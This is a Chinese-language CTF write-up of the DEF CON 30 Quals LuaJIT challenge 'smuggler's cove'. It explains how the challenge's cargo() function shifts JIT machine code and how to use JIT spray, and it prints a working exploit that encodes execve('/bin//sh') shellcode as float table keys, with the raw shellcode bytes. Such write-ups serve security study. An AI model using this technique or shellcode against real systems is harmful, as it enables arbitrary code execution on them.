Defcon-30-Quals smuggler's cove 复盘笔记

一、简介

这里将记录着本人复盘 Defcon 30 Quals 中 smuggler's cove 的复盘笔记。

本题是一道 luaJIT 的 pwn 题。

二、环境配置

首先,从提供的 libluajit 文件中获取其版本号:

image-20220829215234730

之后下载源码切换版本开始编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 下载源码
git clone git@github.com:LuaJIT/LuaJIT.git
# 进入 LuaJIT 文件夹
cd LuaJIT
# 切换版本
git checkout v2.1.0-beta3
# 手动修改 LuaJIT/src/Makefile, 使得编译时带有调试信息
# 编译
make -j `nproc`
# 退出 LuaJIT 文件夹
cd ..
# 编译,链接时附带刚编译出来的 libluajit.so
gcc cove.c -g3 -ggdb3 -o mycove -I LuaJIT/src -L ./LuaJIT/src/ -l luajit
# 给编译出的 libluajit 改个名字
ln -s /root/cove/LuaJIT/src/libluajit.so /root/cove/LuaJIT/src/libluajit-5.1.so.2
# 指定库路径并执行
LD_LIBRARY_PATH=/root/cove/LuaJIT/src ./mycove

# 如果要执行提供程序本身,则使用以下指令
LD_LIBRARY_PATH=. ./cove exp.lua

三、漏洞点

题目主要给出了两个源码文件。一个是 dig_up_the_loot.c,该源码所编译出来的可执行文件是用来提供 flag 的,只有当使用特定参数执行该二进制文件时 flag 才会输出:

image-20220830110450663

再一个源码文件就是调用 LuaJIT 库的主源码文件 cove.c。该源码中的内容大致如下几点:

  • 读入 lua 文件,其中该 lua 文件大小最大不可超过 433 字节。

  • 设置 luaJIT 配置,并禁用 JIT 全局变量的暴露,防止用户直接设置或修改 JIT 属性:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    void set_jit_settings(lua_State* L) {
    luaL_dostring(L,
    "jit.opt.start('3');"
    "jit.opt.start('hotloop=1');"
    );
    }

    void init_lua(lua_State* L) {
    // Init JIT lib
    lua_pushcfunction(L, luaopen_jit);
    lua_pushstring(L, LUA_JITLIBNAME);
    lua_call(L, 1, 0);
    set_jit_settings(L);

    //set jit = nil;
    lua_pushnil(L);
    lua_setglobal(L, "jit");
    lua_pop(L, 1);
    ...
  • 注册 print 函数,用于输出信息:

    1
    2
    3
    4
    5
    6
    7
    8
    int print(lua_State* L) {
    if (lua_gettop(L) < 1) {
    return luaL_error(L, "expecting at least 1 arguments");
    }
    const char* s = lua_tostring(L, 1);
    puts(s);
    return 0;
    }
  • 最重要的一个操作。注册 lua 函数 cargo,该函数实际调用 C 函数 debug_jit

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    GCtrace* getTrace(lua_State* L, uint8_t index) {
    jit_State* js = L2J(L);
    if (index >= js->sizetrace)
    return NULL;
    return (GCtrace*)gcref(js->trace[index]);
    }

    int debug_jit(lua_State* L) {
    if (lua_gettop(L) != 2) {
    return luaL_error(L, "expecting exactly 1 arguments");
    }
    luaL_checktype(L, 1, LUA_TFUNCTION);

    const GCfunc* v = lua_topointer(L, 1);
    if (!isluafunc(v)) {
    return luaL_error(L, "expecting lua function");
    }

    uint8_t offset = lua_tointeger(L, 2);
    uint8_t* bytecode = mref(v->l.pc, void);

    uint8_t op = bytecode[0];
    uint8_t index = bytecode[2];

    GCtrace* t = getTrace(L, index);

    if (!t || !t->mcode || !t->szmcode) {
    return luaL_error(L, "Blimey! There is no cargo in this ship!");
    }

    printf("INSPECTION: This ship's JIT cargo was found to be %p\n", t->mcode);

    if (offset != 0) {
    if (offset >= t->szmcode - 1) {
    return luaL_error(L, "Avast! Offset too large!");
    }

    t->mcode += offset;
    t->szmcode -= offset;

    printf("... yarr let ye apply a secret offset, cargo is now %p ...\n", t->mcode);
    }

    return 0;
    }

注册的 lua 函数 cargo 要求传入参数必须分别为函数类型整型类型。从代码中可以得知,当 lua 调用 cargo 函数后,lua 解释器会先寻找所传入 lua 函数的 JIT 相关结构体,并修改该 JIT 后所执行机器码的起始偏移量。被修改的属性 GCtrace::mcodeGCtrace::szmcode 分别是编译后机器码的起始位置和偏移量:

1
2
3
4
5
6
7
/* Trace object. */
typedef struct GCtrace {
...
MSize szmcode; /* Size of machine code. */
MCode *mcode; /* Start of machine code. */
...
} GCtrace;

因此,如果可以用立即数精心构造一段 JIT 后的机器码,再修改 JIT 代码起始位置,那么控制流就会将精心准备的立即数识别为指令执行,这样一来就可以成功执行 shellcode。

这种做法也被称之为 JIT Spray

注意到 LuaJIT 设置了一段 jit 的配置:

1
2
3
4
5
6
void set_jit_settings(lua_State* L) {
luaL_dostring(L,
"jit.opt.start('3');"
"jit.opt.start('hotloop=1');"
);
}

其中两行 lua 代码都调用了 lua 中的jit.opt.start()函数,该函数的实现位于 LuaJIT/src/lib_jit.c:512 处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* jit.opt.start(flags...) */
LJLIB_CF(jit_opt_start)
{
jit_State *J = L2J(L);
int nargs = (int)(L->top - L->base);
if (nargs == 0) {
J->flags = (J->flags & ~JIT_F_OPT_MASK) | JIT_F_OPT_DEFAULT;
} else {
int i;
for (i = 1; i <= nargs; i++) {
const char *str = strdata(lj_lib_checkstr(L, i));
if (!jitopt_level(J, str) &&
!jitopt_flag(J, str) &&
!jitopt_param(J, str))
lj_err_callerv(L, LJ_ERR_JITOPT, str);
}
}
return 0;
}

lua 两次调用 jit.opt.start 函数,分别设置了:

  • jit.opt.start('3'):进入 jitopt_level,设置优化等级为 3(最高)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    /* Optimization levels set a fixed combination of flags. */
    #define JIT_F_OPT_0 0
    #define JIT_F_OPT_1 (JIT_F_OPT_FOLD|JIT_F_OPT_CSE|JIT_F_OPT_DCE)
    #define JIT_F_OPT_2 (JIT_F_OPT_1|JIT_F_OPT_NARROW|JIT_F_OPT_LOOP)
    #define JIT_F_OPT_3 (JIT_F_OPT_2|\
    JIT_F_OPT_FWD|JIT_F_OPT_DSE|JIT_F_OPT_ABC|JIT_F_OPT_SINK|JIT_F_OPT_FUSE)
    #define JIT_F_OPT_DEFAULT JIT_F_OPT_3

    /* Parse optimization level. */
    static int jitopt_level(jit_State *J, const char *str)
    {
    if (str[0] >= '0' && str[0] <= '9' && str[1] == '\0') {
    uint32_t flags;
    if (str[0] == '0') flags = JIT_F_OPT_0;
    else if (str[0] == '1') flags = JIT_F_OPT_1;
    else if (str[0] == '2') flags = JIT_F_OPT_2;
    // 这里!
    else flags = JIT_F_OPT_3;
    J->flags = (J->flags & ~JIT_F_OPT_MASK) | flags;
    return 1; /* Ok. */
    }
    return 0; /* No match. */
    }
  • jit.opt.start('hotloop=1'):初始化 hotcount table。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    /* Parse optimization parameter. */
    static int jitopt_param(jit_State *J, const char *str)
    {
    const char *lst = JIT_P_STRING;
    int i;
    for (i = 0; i < JIT_P__MAX; i++) {
    size_t len = *(const uint8_t *)lst;
    lua_assert(len != 0);
    if (strncmp(str, lst+1, len) == 0 && str[len] == '=') {
    int32_t n = 0;
    const char *p = &str[len+1];
    while (*p >= '0' && *p <= '9')
    n = n*10 + (*p++ - '0');
    if (*p) return 0; /* Malformed number. */
    // 1. 控制流进入此处,保存参数
    J->param[i] = n;
    // 2. hotloop 判断
    if (i == JIT_P_hotloop)
    // 3. 调用该函数执行初始化操作
    lj_dispatch_init_hotcount(J2G(J));
    return 1; /* Ok. */
    }
    lst += 1+len;
    }
    return 0; /* No match. */
    }

    #if LJ_HASJIT
    /* Initialize hotcount table. */
    void lj_dispatch_init_hotcount(global_State *g)
    {
    int32_t hotloop = G2J(g)->param[JIT_P_hotloop];
    HotCount start = (HotCount)(hotloop*HOTCOUNT_LOOP - 1);
    HotCount *hotcount = G2GG(g)->hotcount;
    uint32_t i;
    for (i = 0; i < HOTCOUNT_SIZE; i++)
    hotcount[i] = start;
    }
    #endif

    这里需要参考以下两个链接来理解 hotcount:

    简单来说,hotcount 就是 luajit 追踪特定控制流转移指令(例如调用、跳转等)的一个哈希表,其中存放着所最终指令的热度。luajit 是 tracing jit,而非 method jit,这意味着 luajit 在优化时会以路径为单位,而不是以函数或方法为单位。既然是追踪路径,那么自然就会对控制流转移指令更加的关注,也就会有 hotcount table 这样的设计。

不过 cove 对 JIT 的配置不会对我们的漏洞利用产生太大影响,这里只是简单的扩展了一下。

四、漏洞利用

前置调试知识:

若需执行程序,则直接执行 LD_LIBRARY_PATH=. ./cove exp.lua 即可。

若需调试程序,则先 gdb --args ./cove exp.lua 启动 gdb 会话,之后在 gdb 中执行 set env LD_LIBRARY_PATH . 即可。

先写个函数随便试试这个 LuaJIT:

1
2
3
4
5
6
function func() 
local arr = {1, 2, 3, 4, 5, 6}
end

print(func)
-- cargo(func, 0)

结果触发 SIGSEGV 了,调试发现是 cove 中实现的 print 函数触发空指针。修改代码如下:

1
2
3
4
5
6
7
8
9
 int print(lua_State* L) {
if (lua_gettop(L) < 1) {
return luaL_error(L, "expecting at least 1 arguments");
}
const char* s = lua_tostring(L, 1);
- puts(s);
+ puts(s ? s : "(nil)");
return 0;
}

重新编译后执行就不再触发 SIGSEGV 了。

再增加两个调用点,func 函数就会被 JIT 技术进行优化:

1
2
3
4
5
6
7
8
function func() 
local arr = {1, 2, 3, 4, 5, 6}
end

func()
func()
cargo(func, 0)
-- 输出:INSPECTION: This ship's JIT cargo was found to be 0x800021feffdc

从 GDB 中的信息可以得知,该位置确实存放着所生成的机器指令,而这个位置位于一个 rx 段上:

image-20220830140103661

在这个JIT生成的机器指令下断,下次执行 func 函数时就会触发这个断点(注意下图与上图不对应);而修改调用 cargo 函数的第二个参数 offset,下次执行 JIT 函数时控制流也就会真的偏离 offset 个字节。:

image-20220830140429872

现在我们已经了解如何触发函数的 JIT 优化,并且大致了解了其 JIT 所生成的机器码的情况,接下来要尝试在 JIT Machine Code 中布上我们特定的立即数。有一点需要注意,在 lua 中数字只有 Number 这么一个类型,不区分整型和浮点数型,不过 LuaJIT 内部是使用浮点数来表示 lua 的 Number 类型。这个可以用以下 lua 代码验证:

1
2
3
4
5
6
7
8
9
10
-- 一个大数
num1 = 0x112233445566
print(num1) -- 输出 18838586676582
num1 = num1 + 0.5
-- 输出时精度丢失
print(num1) -- 输出 18838586676583

-- 超大数,输出浮点数表示法
num1 = 0x1122334455667788
print(num1) --输出 1.2346056164365e+18

现在尝试在 JIT Code 中部署特定值。由于 LuaJIT 启用了许多编译优化,例如 dead code elimination,因此在函数中创建数组对象后需要至少使用该对象一次,否则该对象将直接被删除。由于 print 函数实在是太难用了,因此换了种方法防止被优化。

编写的测试 lua 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function func(arr) 
arr[0] = 1.0;
arr[1] = 2.0;
arr[2] = 3.0;
arr[3] = 4.0;
arr[4] = 5.0;
arr[5] = 6.0;
end

arr = {1, 2, 3, 4, 5}
func(arr)
func(arr)
cargo(func, 0)
func(arr)

查看编译后的代码,发现生成的 JIT 代码无法满足要求,LuaJIT 会把等号后的数单独保存至其他内存位置,需要使用时再去加载:

image-20220830143407321

由于等号后边的内容再怎么便都无法改变被加载至其他内存的事实,因此我们可以尝试修改等号前面的属性内容,即 arr[xxx] = _ 中的 xxx

在经过一番尝试后,发现属性如果是:

  • 字符或字符串,则 JIT code 中会存在大量立即数,但是不可控

  • 诸如 1.0、2.0、3.0 等整型且连续的浮点数,则所生成的 JIT Code 还是会和先前的 JIT code 一致。

  • 不连续的浮点数,则所生成的代码将正是我们所需要的那种。例如以下 lua 代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    function func(arr) 
    arr[1.0] = 1;
    arr[5.0] = 2;
    arr[21.0] = 3;
    arr[244.0] = 4;
    arr[21.0] = 5;
    arr[422.0] = 6;
    end

    arr = {1, 2, 3, 4, 5}
    func(arr)
    func(arr)
    cargo(func, 0)
    func(arr)

    所生成的 JIT Code:

    image-20220830145419116

这样一来,我们便可以达到在 JIT Code 上部署特定数据的目的,接下来便是编写 shellcode 并将其部署在 JIT Code 上,这个就是体力活了。

这里需要推荐一个网站 在线浮点数转二进制,这个网站可以非常方便的转换浮点数与二进制

我编写的 exploit 如下所示(注意,这个 exp 存在亿点点问题):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function f(a) 
a[1.2015822066494834e-135] = 1; -- 4831f6 4889f2 ebxx 0x(23ebf28948f63148)
a[1.888017891495551e-193] = 2; -- 4889f1 56 9090 ebxx 0x(17eb909056f18948)
a[1.8732669152797884e-193] = 3; -- 682f62696e 59 ebxx 0x(17eb596e69622f68)
a[1.8748660135882913e-193] = 4; -- 682f2f7368 5f ebxx 0x(17eb5f68732f2f68)
a[1.8880176708811596e-193] = 5; -- 48c1e720 9090 ebxx 0x(17eb909020e7c148)
a[2.383013609192317e-222] = 6; -- 4809cf 57 9090 ebxx 0x(11eb909057cf0948)
a[1.872946064693589e-193] = 7; -- 4889e7 6a3b 58 ebxx 0x(17eb583b6ae78948)
a[1.8880178917328522e-193] = 8; -- 99 6a00 57 9090 ebxx 0x(17eb909057006a99)
a[-2.4120921044623575e+255] = 9; -- 4889e6 0f05 90 f4f4 0x(f4f490050fe68948)
end

a = {1, 2, 3, 4, 5}
f(a)
f(a)
cargo(f, 0x80)
f(a)

其实际执行的 shellcode 为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
4831f6        xor %rsi, %rsi
4889f2 mov %rdx, %rsi
4889f1 mov %rcx, %rsi

56 push %rsi
682f62696e push 0x6e69622f
59 pop rcx
682f2f7368 push 0x68732f2f
5f pop rdi
48c1e720 shl %rdi, 32
4809cf or %rdi, %rcx
57 push %rdi
4889e7 mov %rdi, %rsp

6a3b push 0x3b
58 pop %rax
99 cltd

6a00 push 0
57 push %rdi
4889e6 mov %rsi, %rsp

0f05 syscall

注:jmp rel8 的机器码为 eb

这里就快执行 SYS_execve("/bin//sh", ["/bin//sh", NULL], NULL) 了(mcode + 0x181):

image-20220830202644199

但比较奇怪的是,sh 直接退出了:

image-20220830202913401

但我手动写了个代码尝试复现:

1
2
3
4
5
6
7
8
9
#include <unistd.h>
#include <stdlib.h>

int main() {
char* path = "/bin//sh";
char* argv[] = { path, NULL };
execve(path, argv, NULL);
abort();
}

但是复现失败了:

image-20220830203612583

即便是直接执行 shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char* shellcode = "\x48\x31\xf6\x48\x89\xf2\x48\x89\xf1\x56\x68\x2f\x62"
"\x69\x6e\x59\x68\x2f\x2f\x73\x68\x5f\x48\xc1\xe7\x20\x48"
"\x09\xcf\x57\x48\x89\xe7\x6a\x3b\x58\x99\x6a\x00\x57\x48\x89\xe6\x0f\x05";

int main() {
// char* path = "/bin//sh";
// char* argv[] = { path, NULL };
// execve(path, argv, NULL);

char buffer[50];
memcpy(buffer, shellcode, 50);
void (*scfunc)() = buffer;
scfunc();
abort();
}

也无法复现这种 /bin/sh 直接退出的情况:

image-20220830204619529

百思不得其解。于是用 gdb 的 catch exec 指令,进入被调用的 dash 子进程开始调试,最后才发现原来是因为 stdin 被关闭了(捂脸):

image-20220830214854162

反过来才发现,cove 代码中其实早有说明,但是当时就是给漏看了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void run_code(lua_State* L, char* path) {
const size_t max_size = MAX_SIZE;
char* code = calloc(max_size+1, 1);

FILE* f = fopen(path,"r");
...
fseek(f, 0, SEEK_END);
size_t size = ftell(f);
...
fseek(f, 0, SEEK_SET);
fread(code, 1, size, f);

// 这里!stdin 被关闭
fclose(stdin);

int ret = luaL_dostring(L, code);
if (ret != 0) {
printf("Lua error: %s\n", lua_tostring(L, -1));
}
}

麻了,只能说还是自己观察的不够细致,踩了个坑。

本题复盘结束,完结撒花!

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2022 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~